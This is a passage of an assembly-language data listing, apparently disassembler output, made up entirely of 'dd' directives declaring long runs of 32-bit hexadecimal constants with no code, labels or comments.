		dd 7E6098C4h, 5112815Ah, 188070AEh, 61FA952Ah, 0E0E77C6Dh
		dd 31B986h, 4A7A29DBh, 0DF539Eh, 65B6668h, 55EB2DE2h, 8C193A01h
		dd 32301CCEh, 4091C6Ch,	0D4448F10h, 1028346h, 23086F0Fh
		dd 4E60A859h, 0F00EF9h,	0C2E44DF6h, 73D651CFh, 0E89C51D4h
		dd 28098CA6h, 805BEE1Ah, 0CF27C45Ch, 4AD0250Ch,	9A35411h
		dd 804C24F4h, 4F136CDCh, 0A4C21887h, 950F0073h,	999F42F9h
		dd 0D063FF4Ch, 7F4D9201h, 6588A596h, 0B420E288h, 1D5C57Dh
		dd 0AF2F57CCh, 306F9668h, 974451ACh, 2FD85B3Bh,	3E234Ch
		dd 51029417h, 0DD2DD028h, 0C5C00690h, 4BC8B0E8h, 239C3E60h
		dd 33D2009Eh, 0D6373FD4h, 0A1F97217h, 0CEDFCCD0h, 0A60C30A5h
		dd 6C395570h, 30CD2D4Ah, 92848847h, 58CF605h, 0F453AF6Ch
		dd 807B110h, 55AB21A0h,	34EC7704h, 58C45B8h, 0CA06FEDh
		dd 0CFE04160h, 90BEF4CDh, 6780DF78h, 2BB1D60Bh,	4274BC1Dh
		dd 0CFCEFD84h, 891B0491h, 104CD9ACh, 0EAC5134Bh, 0A49C30C3h
		dd 990FE504h, 0E2803270h, 172309Ch, 0EA1744B0h,	809795F9h
		dd 0B445A768h, 0FB6044E4h, 81CDD4Eh, 9059CF7Fh,	7B2BE4D0h
		dd 4CE605D8h, 0F0C4BB35h, 810A7006h, 82924060h,	2B5E8F42h
		dd 0AB2310h, 9F51F71Eh,	977B40C7h, 5B12AC00h, 0AA96E06Eh
		dd 0E160B086h, 0E40400F2h, 5A0340F2h, 0C42C3946h, 0F6180F67h
		dd 0C0DD7AAh, 8E10E06Ch, 0B45D560Fh, 0C4B8A943h, 31C02040h
		dd 0D700B0B0h, 8A51FE07h, 0C44DC414h, 0ACF3A118h, 8CABBCD4h
		dd 18612200h, 0D9028C5Ah, 9501CB9h, 30D5CB01h, 3C0D60D0h
		dd 68964034h, 0BB7E020h, 0B91FB007h, 0E4E4D42Fh, 0CBCE0174h
		dd 55027CFAh, 941EC56h,	402FAA9Fh, 0AFD542B8h, 41C9C014h
		dd 0A270090Ch, 0C1509FF4h, 0F0655294h, 23BC2F2Eh, 0AF140039h
		dd 4737CC67h, 467CFCB6h, 27361D3Ah, 78048805h, 0D0FE8CD0h
		dd 50E2E0h, 4D709E3Ah, 0C50BBF12h, 0DD4739C5h, 5C3A20F4h
		dd 3300B8F7h, 0CEEBA17Fh, 294EBC08h, 444CA0A1h,	0C08995B6h
		dd 0B2790871h, 171E2D18h, 8B011C6Eh, 0BFF96FA2h, 0FD21ACh
		dd 278ECCACh, 0A30609EDh, 0AAF99FCFh, 908B0021h, 5B62AF80h
		dd 9B000969h, 15B88155h, 39FFB3h, 0DDF3A499h, 87D0EF0Ch
		dd 0D23AB701h, 0CDA1F297h, 2E54C5h, 58EECEA8h, 9B4898ADh
		dd 94388418h, 954BAF04h, 0F2E8E264h, 648304Eh, 939DDA00h
		dd 22B8F75Ch, 443C12D9h, 4F18224Eh, 0C0A23605h,	44941814h
		dd 2293EC11h, 0CAD83207h, 5C045538h, 6879264Bh,	87A1080h
		dd 8FC631Fh, 40D834D6h,	0DD6F7002h, 950741Ch, 78E06AE0h
		dd 1094D086h, 7420F992h, 2FC6CF0h, 0C3A889E4h, 0FC90B8E9h
		dd 0D524518Dh, 1867F0ACh, 482C4348h, 0AFD96040h, 52C6B56h
		dd 45FC024Eh, 11538048h, 48406560h, 0CADE0D4h, 3E0086B8h
		dd 0E01B79F0h, 1051D080h, 1836743Ch, 0DC69EAE8h, 3AFC190Eh
		dd 289D027h, 8B824A1h, 6A21258h, 400E1C20h, 3CD6D09h, 0E8B0E9E1h
		dd 0A407E03Dh, 0A0731C91h, 866D9E54h, 124303Ah,	511DF7C7h
		dd 683877F9h, 38C48B8h,	405EAA7Ah, 3890602Eh, 6900DD51h
		dd 62FCC683h, 59CF9809h, 0C173A08Eh, 0BBC065C1h, 3A707875h
		dd 83862F88h, 9FF2C4F4h, 0BDDC6D40h, 384E48C6h,	7498E010h
		dd 0CEE420F7h, 42AF5D18h, 0F80C489h, 7C5491DBh,	578AE280h
		dd 0AB003C90h, 86F84C39h, 4DE4086Eh, 0F9189CC1h, 0A6B89C0h
		dd 350EE3FCh, 10182EAh,	0A1F1D403h, 5D90482Bh, 81D26DC3h
		dd 0A82343D8h, 0D2659480h, 0DC00EFA7h, 4F86B0C4h, 1841C1Bh
		dd 0EAFD6D06h, 6A4AE004h, 9B23183Bh, 84085812h,	3883805Ah
		dd 16C3CFE2h, 0B480825Bh, 2459E87Dh, 8545FB5h, 3C0E5CB4h
		dd 776904h, 0B1AEDE18h,	36FB1712h, 2800EFEh, 650F4D00h
		dd 0DC1704CFh, 8C061D2h, 0C02DAC3Ch, 0DF91AAB0h, 8F5EC213h
		dd 3FE089h, 343A9454h, 0E2835688h, 8345C66h, 0D7029BC9h
		dd 77142004h, 156444A1h, 0C7031388h, 10187AB4h,	0A52DCBCDh
		dd 0C5066BCh, 4F1814D7h, 0DC180A40h, 1C59B919h,	0C24E4080h
		dd 0BC108612h, 0EC0714E4h, 0CFAC4059h, 43380C12h, 88AAE888h
		dd 9F073A55h, 81CCE48h,	1C145A79h, 0AFC409E6h, 7C76B862h
		dd 82903F50h, 0E700B0FCh, 0C5EDC910h, 0DC7038BBh, 288B490Ch
		dd 68400438h, 125B8190h, 0F28464DFh, 2DA70002h,	424C9B95h
		dd 0CE65FDD7h, 584C4E38h, 31373967h, 0EB5854E9h, 77105214h
		dd 0A420632Bh, 2D45D542h, 0D8144201h, 0CD1802D7h, 494428A5h
		dd 0D2320822h, 4D9B78B0h, 88062C24h, 28A3B4D5h,	35696327h
		dd 82F08024h, 2B935EA0h, 68D5D017h, 0DE5FEC81h,	17C6A7CCh
		dd 0D157CE86h, 178C3954h, 0E122E750h, 40809D77h, 0B6BFD794h
		dd 4DC5096h, 84148F28h,	0B8B5C5CEh, 2CC0730h, 5A006258h
		dd 0B28E20Eh, 5DAB34DDh, 0CF011CC8h, 4D2DDF2Dh,	66EF614Ch
		dd 2C56D834h, 1C6E3FF9h, 4E2AF603h, 3CAA5924h, 3093C661h
		dd 4F8840D0h, 52821FA5h, 0ABAA40D7h, 0E223F994h, 6CFA2B00h
		dd 0F3CA6C2h, 72DC0092h, 8AEB2C5Ah, 3A52D014h, 83E018F8h
		dd 3CD2ED9h, 0A4CB6338h, 6E0FB633h, 807E6D0Fh, 0DCF67301h
		dd 12B49EEDh, 0B59813E5h, 0D4D020F0h, 13428B40h, 0A39DB83Ch
		dd 313DB2A0h, 0EA02F01Bh, 0BC976F00h, 798610CDh, 48FB0166h
		dd 0EE39560Fh, 0A068A51Fh, 0B5D351B0h, 1C40808Fh, 0F059D42Ah
		dd 0FDC30C1Eh, 95C44E5h, 48F40440h, 0B7547020h,	98B79D09h
		dd 2EBC087Ch, 4A24A401h, 920788B0h, 5CF26913h, 938B9800h
		dd 0FBA75C48h, 0A2FA2A00h, 0F8FDBF9Ch, 35571354h, 6F048887h
		dd 0C8A5CF17h, 10FC2CA1h, 0AC5E0276h, 3D5B5936h, 27701482h
		dd 0F3C43CA4h, 30A3E26Ch, 20B5DFA7h, 4225AB9Ch,	443800D4h
		dd 9B51DA5Bh, 0E00432B1h, 502CD913h, 0C5013CFDh, 0CB86B9EAh
		dd 8838386Ch, 0D271C061h, 635CD8FCh, 6990E00Ch,	35CF01D2h
		dd 0F0ED812Eh, 24363AA3h, 6C682C70h, 73294F08h,	0C10A050h
		dd 0A4093A50h, 2C67596Fh, 0D0604264h, 74036C7Bh, 5E3EB459h
		dd 27E988CCh, 5CDD006Dh, 73F85F25h, 0FC04D942h,	0EC1CA2C1h
		dd 8524CCB8h, 39A80808h, 47700B25h, 603C6484h, 107B209h
		dd 9FD6EB4Fh, 34BC1C42h, 0D54BAF40h, 0E1D1F000h, 13A75A8Eh
		dd 0B2483768h, 3F202A4h, 767349E4h, 454676D8h, 9A86B83Bh
		dd 794B401Ch, 0F921EA64h, 0B00A4BDh, 61484CCBh,	0B0BCB1BAh
		dd 55E57340h, 0D08400ADh, 14A1BD91h, 6802F757h,	24D74381h
		dd 5A8CC980h, 93211C23h, 6C805C91h, 5BD903D2h, 10416B5h
		dd 0CDD26495h, 20B2AF94h, 0C04B4498h, 7FD87870h, 471C24E0h
		dd 0ACD541ACh, 4CA20589h, 0C5B0800Eh, 182EE860h, 0A0C8701Dh
		dd 0CF2413BAh, 0C04388A4h, 921A24F0h, 0D803C614h, 76B510D0h
		dd 582CD704h, 0CE4A064h, 0EEA35188h, 559F2511h,	46AE2498h
		dd 482859C0h, 3BFE1B6Eh, 0EC804BE9h, 4FE38715h,	0DA3ED965h
		dd 550580FFh, 0ADEF1FA7h, 0E8721A3Ah, 84E4497Ah, 48DA9A00h
		dd 5E671629h, 12B90036h, 7C53059Ch, 8348E2C4h, 41E83C40h
		dd 6C134010h, 89C10E33h, 9F603DE1h, 2C4FAAA4h, 5BFE1000h
		dd 4BC7133Bh, 0A7F90FD1h, 5A40EEE9h, 613C5CDFh,	942F524Ah
		dd 0ED004D23h, 0F548F6CDh, 6B3C16E5h, 0B830A081h, 9C003341h
		dd 0FBBC09EAh, 88B4122Fh, 108B7024h, 115A2CD0h,	0E8005DAFh
		dd 0D21A6831h, 5100A010h, 8C833323h, 708687AAh,	0DC455CC6h
		dd 0C7E90407h, 0ACA85465h, 697613A4h, 0E9B3F0A6h, 0A020C8B0h
		dd 5434041Bh, 0C8EC9D91h, 1C245909h, 8C96A478h,	8B53C944h
		dd 0C543C8C0h, 0F497C09Bh, 5A1732B3h, 403508Ah,	4070442Ch
		dd 5009C168h, 4EFC439h,	11988104h, 2A8082B4h, 40E4902Bh
		dd 0BC70540Ch, 9E297CAFh, 48467628h, 96A8E900h,	0EF6D7866h
		dd 39C4090Bh, 20F4F2BBh, 9F735Ch, 0CEEFCF88h, 94A820C5h
		dd 2C343A2Eh, 0BA5B4643h, 0A8F44823h, 2D14BCBh,	60578228h
		dd 706EE082h, 0E76C845Dh, 8B008CBDh, 5A3FC655h,	0DA0238ABh
		dd 86C2BBC3h, 6034FCFCh, 0BD10C74Ch, 9B62E700h,	91BBD25Fh
		dd 0A09C6Bh, 0B46A8B39h, 5417BEEAh, 800911A4h, 24E05E3Dh
		dd 18FB746Ch, 6930942Ah, 0A710AC76h, 0BFE7EB03h, 139C31DBh
		dd 14D34012h, 73E8125Dh, 0F214A257h, 3FEF3043h,	0A907E600h
		dd 0BAF63364h, 2C511521h, 1216C4E0h, 0F028D5E4h, 41C158FCh
		dd 0B0C8C557h, 3C164068h, 0CC90C1A4h, 7B1CE1E6h, 3B23DC3Fh
		dd 9066020Bh, 40D3D574h, 0DC04418Eh, 0AC58ADC6h, 628864ECh
		dd 100B38A6h, 45D49036h, 4EB8099h, 0D9604A97h, 189979B8h
		dd 565E03C7h, 68D87735h, 48546810h, 8C161858h, 28CC3097h
		dd 0E0DE2D1h, 69AEF9BEh, 0E8B82C69h, 13C9E601h,	66B40899h
		dd 68F4C888h, 6AA33A00h, 2AA1818Eh, 97C4CCA5h, 0C6A0D444h
		dd 500D10Eh, 3A4C1BEDh,	0BF385BA1h, 1E44C90h, 0E010B242h
		dd 0CC187C4Ah, 0F9189FD9h, 161C9C0Eh, 0B07CB661h, 0F03B41A1h
		dd 4A8405ABh, 0E018C5CDh, 17BD6E68h, 899B91ACh,	7FE418D6h
		dd 0A9D0065h, 0D441FCF4h, 1027ADC5h, 4518E49Ah,	0F57C21D6h
		dd 90727F4Fh, 40F47E9Dh, 0A2ABDFBDh, 0D5F9AA05h, 0CC0789Bh
		dd 3911B481h, 283F0372h, 27BE3709h, 800B08D8h, 825BCF3Eh
		dd 0A834044h, 47480884h, 61A7F60Eh, 728A75B5h, 5BB0CC6Bh
		dd 12AC2DEBh, 7C90D386h, 40EC3C21h, 775BF641h, 49ECF4C9h
		dd 58D70044h, 17E31B67h, 5C07CEE0h, 84BF6A45h, 0A915DC8Ah
		dd 3E5B16E8h, 0C40994F2h, 0AC76AA9Dh, 59E8F152h, 26EA18ABh
		dd 240F057h, 0AD828345h, 60002059h, 844E0B6h, 72775C25h
		dd 0F05D2C00h, 0FAD1BEE7h, 0A89FE601h, 0ADCF5A65h, 27E303Dh
		dd 0EED27F3Eh, 0E4F04E32h, 7DD3944h, 0AD3AA1Eh,	0BE899CF9h
		dd 0F4CD044Fh, 0BC4985C1h, 0AE293822h, 40371FA8h, 0CB94F741h
		dd 395EE388h, 93BDFC1Dh, 80C8D4FBh, 800C94DFh, 23A983B9h
		dd 80777F8Bh, 130C495h,	0F4CE0B74h, 0DCA757C5h,	4900EBE4h
		dd 9C1580CAh, 68FE3C7h,	0A5D3A89Eh, 871668C0h, 40545F72h
		dd 8C9DE878h, 0CADC5501h, 0E4046582h, 0BC6964DDh, 11BEB10h
		dd 3A2FE337h, 88E46D7Bh, 1A760E8Eh, 0EAEF4877h,	62D31253h
		dd 0B4C07B98h, 41415C3Ch, 82A5D83Ch, 0EF291FA0h, 0A71C21DCh
		dd 9DC084C8h, 0ED664780h, 5028307Fh, 30B48544h,	190C3C60h
		dd 3BC044B4h, 4E536DB0h, 0B4911B38h, 62CF9F9h, 0CF0B9022h
		dd 3878300Ch, 3B1B9101h, 5AC02C42h, 7C40507Bh, 26D8402Ch
		dd 0EF3C1DF0h, 0A0BB066h, 6E7CC5DCh, 8EE89118h,	0EA855E84h
		dd 0EC202C47h, 10BFC922h, 4847C804h, 1961304Ch,	51D0F71Fh
		dd 700CA852h, 0E41221BEh, 5043520Bh, 8C782770h,	3E8598B9h
		dd 0BE03286Eh, 0FFE581EAh, 834A088h, 6D0889BDh,	6BA2C358h
		dd 8DFF5AE0h, 3ACF360Ah, 920D8DC0h, 86A29DCh, 86929E28h
		dd 0FAF1E4E5h, 3B07B43Dh, 0E089BC35h, 6AFB755Bh, 88C58A00h
		dd 81B30A64h, 0F8610066h, 55874CD6h, 9000E312h,	0B6379306h
		dd 0CCD06546h, 0AD20D74Ah, 0E18A2F00h, 0E93743CDh, 2C7F857h
		dd 0F9D6F645h, 0C54DD61h, 0FEBAF780h, 3A9CA6h, 0CF6347F5h
		dd 701A455Ah, 570E4E00h, 0D77F7BF7h, 0FC541FF8h, 84C8048Ah
		dd 5DD4D256h, 0F0E42Bh,	0D304E8Eh, 0E34927F5h, 643797h
		dd 39F4A1DDh, 0C90282D5h, 0C4078D3h, 9D4D8ACh, 23E111CDh
		dd 816F4827h, 0F1AB9366h, 0A2A7D06Eh, 937A001h,	8E3F9449h
		dd 74B9D3D7h, 4AE17361h, 415C90D5h, 4004089Dh, 0F0C585E9h
		dd 0C95040B0h, 1871CB10h, 344DA507h, 2D500509h,	2BC4EC50h
		dd 384428BAh, 2843F0A8h, 44CFAAC3h, 4C0C5811h, 7581CC3Ch
		dd 0F73F74A1h, 345BD090h, 980F4B6h, 0E1A99439h,	240AD36h
		dd 335B86A1h, 5E007CC4h, 8E41EA6Dh, 14B6DA01h, 0E050DD4Eh
		dd 0EBF8478Ch, 8AE40F48h, 0CD63C91h, 0CF0CC485h, 0FA273750h
		dd 0D5D09039h, 1031CA83h, 19425434h, 0FE4284F0h, 0CAE56E04h
		dd 4886012Bh, 0D07F00D1h, 8D415AA6h, 0DF4CD708h, 0E7BCD164h
		dd 0D0B8DB08h, 60DFF5EDh, 22238FC9h, 2730C5ECh,	0BE398C2Dh
		dd 61511132h, 0E2548407h, 490B0323h, 8422F73Ah,	12409284h
		dd 0A655088h, 0C7379A0Ch, 4BE06E02h, 40DC8519h,	86C88A70h
		dd 0CAE6B8FAh, 0CF83BC9Eh, 0E5CD90E8h, 90122062h, 4819E8BCh
		dd 6E2478ECh, 100EAD9Ch, 0C01027A0h, 396ADC8Fh,	933C1008h
		dd 30F844B2h, 64280AEh,	6291544Ah, 0D26A0819h, 769E10C0h
		dd 945808C3h, 2D60E14Eh
		dd 0D58F2088h, 10DED40Ch, 81E62C1h, 46023426h, 8ECD03F8h
		dd 403E3838h, 4321C607h, 213140DAh, 42D10875h, 0C34C1888h
		dd 38A47A0Dh, 0B301F3CDh, 22108CAFh, 634820D4h,	181B182Ah
		dd 2ED10810h, 288FCE18h, 10C4120Bh, 5A0C8DA6h, 9CCEE29h
		dd 63A449E2h, 82F320C0h, 967D0810h, 28406C18h, 8C4F429h
		dd 0C5041460h, 0D603060Bh, 8B5B2040h, 0F10C2433h, 0CB1831DBh
		dd 90C785F1h, 68183BE1h, 0A76130A5h, 86A608C4h,	0CA2BA04h
		dd 0CA2D51AEh, 88BCD481h, 8A0DFC4Dh, 0A2CE10A8h, 3C42D88h
		dd 1010C11Fh, 0EE10C974h, 91B13195h, 108C849Eh,	3F48017Bh
		dd 63ED8740h, 3D8610FDh, 0A6560819h, 89883918h,	1F0CFB63h
		dd 449F0804h, 32813A0Bh, 8C449051h, 9903088h, 10A1150Ch
		dd 0CC1340B0h, 0AB081A63h, 0C9019CEh, 51030873h, 98851C9Ch
		dd 13198B30h, 255881EFh, 121CD30h, 0AD01FE0Eh, 9F760141h
		dd 1E52001h, 94011013h,	77088832h, 0F11B1907h, 889C5173h
		dd 5A1895F1h, 44DD24C0h, 8D79F8Ch, 0C3B1C6E1h, 0F533209Eh
		dd 107110E4h, 2AEE7809h, 0C8209C09h, 0D06E54B1h, 487466CEh
		dd 3531613Eh, 0DC4128DDh, 0CCBE0889h, 8DCC1428h, 0ED10D80Ch
		dd 275424E3h, 1824AC81h, 0CFF4A8F0h, 0B218DD2Ch, 0C4A27199h
		dd 0CC02330Eh, 3629028Dh, 8936D04h, 0DEB13139h,	1A08FA9h
		dd 88CBC66h, 0E0203C5Ch, 0F7082966h, 0FC075461h, 32089A14h
		dd 0A710F0C9h, 52BD9449h, 1C481A9Ch, 0FB8095A8h, 9C08CA90h
		dd 4A7A92A4h, 99D44FFCh, 8883F947h, 0C238829h, 1D10B77Fh
		dd 56089962h, 734C6B1Fh, 34749271h, 86183140h, 0F15408C4h
		dd 69C4EBB0h, 7D040E8Bh, 4ACC9522h, 8C80B3E0h, 92A9A92Ch
		dd 798CE181h, 0FF28254Ah, 40BEAF40h, 0EA6448A1h, 2891FE18h
		dd 5700BF75h, 0FA4CA313h, 876E89A4h, 405966EDh,	180FF6D8h
		dd 104FDE8Ah, 0A3007627h, 0A1E2501Bh, 4E9B93CFh, 0ADB89038h
		dd 4B07B855h, 8A8092D1h, 0AC66590h, 93363A1Bh, 0C74F8102h
		dd 98E64838h, 0D7005798h, 997C879Bh, 604EE0BEh,	9C1020C6h
		dd 58B811D4h, 48F6D10Eh, 21512B2Dh, 27DDB13Dh, 0A0A0DEDDh
		dd 0A0D17808h, 5CF65414h, 3880F4A9h, 0F7649E6h,	1347A703h
		dd 948CE39h, 8AF8FE11h,	0F660505Ah, 0D159B3B0h,	53930F56h
		dd 0AB01D728h, 9D723A2Eh, 0CFCD950h, 108B2BAFh,	0E8C9179Fh
		dd 0F50C8002h, 0B440BFF8h, 0B406F866h, 26A102C0h, 0EBC0F636h
		dd 6A0D8B42h, 28A20DF9h, 8E1018F3h, 7161193Eh, 18601B80h
		dd 791DC3AFh, 0A5F05FD4h, 0A4AD2040h, 0F4A000DCh, 106CFBD0h
		dd 0B07894AAh, 0FD9C3F50h, 0C0614400h, 0E08BA090h, 2345E3Ch
		dd 0DBF99408h, 4001F8FEh, 0B414C8EDh, 52CD9848h, 2600D44Ah
		dd 365AC093h, 0A0DDBB8Ah, 7713AF50h, 80B21C8Ch,	7EFCC7CCh
		dd 501EED45h, 140CCDA0h, 906F117Fh, 0E0E20A36h,	80F0050Eh
		dd 725670AEh, 2F37F940h, 0E9550B0h, 6C0D9016h, 981728B6h
		dd 9AAF5EC0h, 82A0C932h, 0C0F40Bh, 0DCF8853Ah, 0FF999400h
		dd 0D5CA0238h, 581D06A6h, 0B0934308h, 47114C18h, 5C881060h
		dd 0DB878C56h, 93A33E8Ah, 19006DE8h, 0FDB4F486h, 6167F979h
		dd 5C7298B8h, 9029E3h, 7309DD51h, 0A086736h, 6CDCF9A7h
		dd 80CB909Ch, 9DE1104Fh, 86F1CA12h, 8AFA823Ch, 7B024E55h
		dd 0C2E0003Ch, 504E5B4Ch, 6CC9545Fh, 0EB570B94h, 0C21FD04h
		dd 0C7F083D7h, 5C12B516h, 4060208Fh, 6C9AB0EEh,	118018C0h
		dd 0E44D5AF3h, 88783E90h, 0A939B452h, 77395540h, 0F5BC00F2h
		dd 480BD6BEh, 2843540Fh, 341350C8h, 4ACE063Ah, 10449CF9h
		dd 0ECE86412h, 0DC78E0h, 19325FB9h, 0AF8BE211h,	60566124h
		dd 0F4AB9380h, 0C192BAF8h, 0D34BE949h, 30CDF1A3h, 3B740814h
		dd 80A6332h, 7FA8813Ah,	903E3565h, 6DDFCF64h, 877C9001h
		dd 1F4AD13Ah, 2EAF4086h, 0A700687Fh, 95F17884h,	0FDD840h
		dd 5BAB7712h, 0AF4C1E69h, 28979930h, 30E86C36h,	0FF58747Eh
		dd 94856F8h, 386A2414h,	28D8F415h, 30F0B4EBh, 0BE31740h
		dd 0CDC7E7F2h, 1090B0FAh, 5E9FEF0h, 6A9BA803h, 0DF5F89D9h
		dd 51FC48h, 7EF95801h, 261A7212h, 35E88A0Ch, 3ADD209Ah
		dd 0FA01C151h, 0A8E7EED8h, 0C91892CAh, 2E531401h, 0A452A190h
		dd 0F779019Bh, 0A3718152h, 89FEAD6Ah, 0E46939CCh, 5C789Dh
		dd 0B5F8879Eh, 0A998E05Dh, 0D1621300h, 0BF36EDF5h, 89100053h
		dd 0F929B95Eh, 0F412C8F8h, 6467EBA2h, 0B34285C0h, 0F3D1126Ah
		dd 0AD18D48Ah, 84F704ECh, 5C418B0Ch, 221178AFh,	6B611F3Ch
		dd 79A89100h, 30E87288h, 0F238DD57h, 6C0FEF22h,	85A23D2Eh
		dd 0F040BC5Ch, 0C834933Eh, 6E140043h, 60B5FD87h, 90AA6F5h
		dd 0ECEC276Ah, 0CDF4D084h, 908F84C0h, 0DCD12893h, 0FB580608h
		dd 986503F8h, 0D8C4E030h, 884B36CEh, 6E48E7CFh,	1AF45024h
		dd 8E10D0C0h, 0A06A2320h, 0EE9CED98h, 2CF91815h, 3C684896h
		dd 0D4D22B07h, 38D3A091h, 0F4D1F8CCh, 26EB90E1h, 9388342h
		dd 8A06D9Ah, 1377B3EAh,	0F2AFA00Ah, 1F098C08h, 0D428028Bh
		dd 0BBD303A7h, 70991010h, 509C8900h, 90A1E00Bh,	0BAF99E0Ch
		dd 0CB85094h, 128AB0DDh, 403C8128h, 105612F0h, 12FE5433h
		dd 214CEF18h, 0D2B3553Ch, 5F1734CCh, 74C201EAh,	3F04604Bh
		dd 0CFE883BDh, 340564F2h, 0BC1D2E16h, 0FEB3C005h, 0B9B79406h
		dd 0A4F75C48h, 0E1D212h, 0A6F2A400h, 870389ACh,	5F73FED1h
		dd 2449E7EEh, 9081EC84h, 38A48828h, 1D0701E0h, 219D10C7h
		dd 0A34883D6h, 89E721FEh, 0B8873409h, 0F01FF7C7h, 8A423322h
		dd 9890A0B0h, 4B28620h,	0DAC5FF98h, 3A04E42Eh, 0CC48CCB0h
		dd 8B120198h, 29F3E056h, 0F982E98Bh, 0CC909889h, 638834EDh
		dd 605EF08Bh, 18C61036h, 8D0AF531h, 0E4BC08F9h,	5C20E597h
		dd 145AA8F7h, 94A5D4B1h, 0DC4A9E0Eh, 6CFC6FC3h,	0B04090F2h
		dd 0FD7E3FF9h, 0D0F85814h, 5B3A00CCh, 24FE68C3h, 9A8602A3h
		dd 51E86D79h, 8024F85Eh, 56B31285h, 3CAAC8B0h, 2880A165h
		dd 6260D138h, 0C70F49EAh, 14E69F8h, 1FCCE05Ch, 8A399880h
		dd 0AF7F3147h, 2C91097Eh, 40D859B4h, 0B9D5E7Ah,	0E80340E8h
		dd 3E4B3ACh, 44D750E0h,	0DDCEA050h, 0C7086620h,	311011F8h
		dd 81AC7447h, 0C7F99B1Ch, 14418993h, 18EBE085h,	51AF5B00h
		dd 74015892h, 66A16D65h, 60F19193h, 0A8E80A2Ah,	0C0B81740h
		dd 0E9E871B0h, 0F60EA0BCh, 20BDACF8h, 16589875h, 386BE40h
		dd 635FE082h, 0AF626804h, 8C067D19h, 0F92A8836h, 6F08E031h
		dd 2664BB67h, 5BF4ACF8h, 57ECA9C8h, 0DC645E24h,	1F458D00h
		dd 0E60F476Ah, 24A5BE8h, 670A2ED4h, 3C80D905h, 0BBF79F5h
		dd 721FB3A1h, 0C2C36C80h, 0F910571Eh, 5F01A48Ah, 73B050ADh
		dd 49E04059h, 8C00D765h, 9AB8C938h, 37AF61A2h, 0E5599E76h
		dd 0C5B8208Bh, 0C278B3FAh, 0C883624h, 0A8091F12h, 0F7444002h
		dd 7680F7Eh, 5845DA78h,	804EC7CEh, 0A065F992h, 0A00580D3h
		dd 8E805EC9h, 6DE247h, 678A85A8h, 0EA92D337h, 0F6F8702h
		dd 68809070h, 98CEFD24h, 14C506F8h, 805AC2BAh, 8083BB40h
		dd 0A168BCF9h, 201C9060h, 48F6CE85h, 8414D084h,	32F98238h
		dd 0A9184205h, 38988B28h, 49B25F5Ch, 432ED45Dh,	0F95A0000h
		dd 467656AAh, 0CE383707h, 0DB32D2C3h, 0B1DC6247h, 7CFE7F68h
		dd 0B6134E4h, 5818D060h, 18A18B10h, 51A053DBh, 0F9C20806h
		dd 9A00E15h, 57E56770h
		dd 8C261424h, 80B0ABC8h, 9CCC30D0h, 0C130AC2Ch,	4D9DE882h
		dd 0A45C5C2Eh, 0A8086880h, 44A9F8D1h, 37F908B0h, 3A783A63h
		dd 6F023EECh, 810CAF5Dh, 84806C7Ch, 0D04E5A73h,	385300A4h
		dd 18459801h, 60ED477Ah, 0D54050A8h, 0F7D9C102h, 25611479h
		dd 0F95885F0h, 482D7FCBh, 92E3C41h, 0DC618902h,	3BC4526Ch
		dd 4C0890Bh, 0D000270Ch, 108256A5h, 4E6F9601h, 9BF9A2FDh
		dd 0C5000428h, 3817A1E2h, 3A1F55D2h, 0F70159ECh, 4E39E870h
		dd 0B4F2AC51h, 12061872h, 0A93656AFh, 4CAD6226h, 60A7046Fh
		dd 18940612h, 0D8A1413Eh, 0E46237h, 5C701447h, 2CAB57E3h
		dd 9C8691Fh, 4E80117Bh,	0DD0184FEh, 2EB40F1Dh, 0F9098F79h
		dd 9059B971h, 50D65F30h, 0AB8C43Ch, 7EB1AFD9h, 2A8A0C0h
		dd 0C2C1335Fh, 2CC456CDh, 0B8E8650Ch, 0ECDE80D0h, 21C4008Ch
		dd 0D2A2CF25h, 0CE12402Bh, 5C0092FEh, 4A633E01h, 770B0499h
		dd 1FA98EE8h, 0FB3FFC41h, 0EDD07FFDh, 584230B0h, 8AF5CF78h
		dd 3339AF13h, 40016853h, 73B59943h, 0C05734F0h,	0E8913E18h
		dd 50C0BFA6h, 8BE11107h, 29F107C7h, 0F06119C0h,	0BF9C8E7h
		dd 0E0ED9F30h, 4432AFCAh, 4DEEF830h, 0D0721300h, 0EEE053A7h
		dd 0B7ACA3E6h, 29F24D3h, 0E8CF3928h, 0B8A07BABh, 3B20B50Ah
		dd 0A488BA00h, 4C309721h, 0ACBCB0CDh, 0E2D102B4h, 541F3B8Dh
		dd 9FB6D840h, 2614E3Eh,	1CF830FAh, 0F9446080h, 0BF599Eh
		dd 57F7D71Fh, 55C841DAh, 28212924h, 6A920914h, 8210426Dh
		dd 0F9AE094h, 0FBF40432h, 0F994B0EAh, 787A0724h, 2081389Dh
		dd 18CF815Eh, 40A22C60h, 1501C6DEh, 0F98CF5CCh,	143DB977h
		dd 5BC22600h, 8596B009h, 0E8DCC9C0h, 0B0AFC02Ah, 2EB57240h
		dd 10F46638h, 54094ABEh, 6F449082h, 4CACB806h, 0EB131C42h
		dd 633444BBh, 4E3E033Dh, 0FE3AC006h, 6BEB26A2h,	40B4A87Ch
		dd 88FDC271h, 25CEF10h,	2D37AF55h, 26C0E0CAh, 0B8B239AEh
		dd 0CCC78089h, 8C085CD6h, 18F5F4Dh, 3662A8B7h, 4CDDCC6Eh
		dd 0F7CFC000h, 0AF86E310h, 286B602Bh, 4756F521h, 0BB42E514h
		dd 3745828h, 9A979114h,	73478038h, 0C7C10042h, 0B64B9019h
		dd 0A8A03A34h, 383BE0D1h, 104D002Ch, 704A5BB4h,	0FC510A32h
		dd 9088C0Fh, 0CBD03689h, 32399889h, 578B18C0h, 75DE88B0h
		dd 8B2493CEh, 0F854C3F9h, 372D780h, 26AA0867h, 64ACF6D1h
		dd 682732B2h, 12FFB81Ch, 0F40D8401h, 9613902Ch,	380C8A8Ch
		dd 90558021h, 97E812ECh, 0E8D44Eh, 0D6D8F9D8h, 784C6C66h
		dd 0BE8C23Ch, 0E5C70033h, 0B5061B96h, 6AD1E0ABh, 0CD671A60h
		dd 88803163h, 0F779FD5Bh, 0D025E89Eh, 0B3A927E8h, 13EAB4A0h
		dd 8C03E26Fh, 0D2391747h, 0FF110012h, 1C201080h, 50005215h
		dd 0F6CD57AFh, 0A2D4D9A2h, 12871ACh, 5FAF90F4h,	5C3357h
		dd 61273052h, 1E1D0FCh,	69C26482h, 0B670E8h, 0F0670599h
		dd 0D18660AAh, 0A76D58F4h, 0C6A5C2Ch, 966B08h, 0AB3849Ah
		dd 90762901h, 9E5F8A0Bh, 0E0141809h, 3C049D5Bh,	6794D06Dh
		dd 0A4B139A7h, 130AFCA5h, 0FC250Eh, 1C9181A4h, 0C524F96Eh
